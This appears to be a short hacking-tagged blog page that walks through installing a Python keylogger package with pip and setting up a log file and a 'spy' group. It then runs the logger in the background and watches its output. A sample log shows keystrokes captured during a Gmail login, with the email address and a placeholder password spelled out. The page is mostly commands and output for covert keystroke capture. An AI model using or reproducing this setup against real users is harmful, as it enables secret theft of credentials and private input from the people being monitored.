Fork me on GitHub

Python keylogger post

Python keylogger package

The job is already done and packaged with that Python package.

Installation

Python 3

This package works with Python 3, make sure you are using it:

python --version

If python2 is set by default:

sudo apt-get install python3-pip

Package

pip install keylogger

If python2 is set by default:

sudo -E pip3 install keylogger

Set up log file

sudo touch /var/log/keylogger.log

Group & ownership for log file

sudo groupadd spy
sudo usermod -a -G spy vagrant    
sudo chown root:spy /var/log/keylogger.log
sudo chmod 660 /var/log/keylogger.log

Usage

/home/vagrant/.local/bin/keylogger --log-file /var/log/keylogger.log --clean-file &

Watch log

tail -f /var/log/keylogger.log 

Below the log generated by typing in firefox: gmail.com ang logging with thisismymail@gmail.com/mypassword:

g
m
a
i
l
Shift_L
period
c
o
m
Return
t
h
i
s
i
s
m
y
m
a
i
l
Shift_L
Shift_L
Shift_L
[65027]
agrave
g
m
a
i
l
Shift_L
period
c
o
m
m
y
p
a
s
s
w
o
r
d

Categories: hacking, kali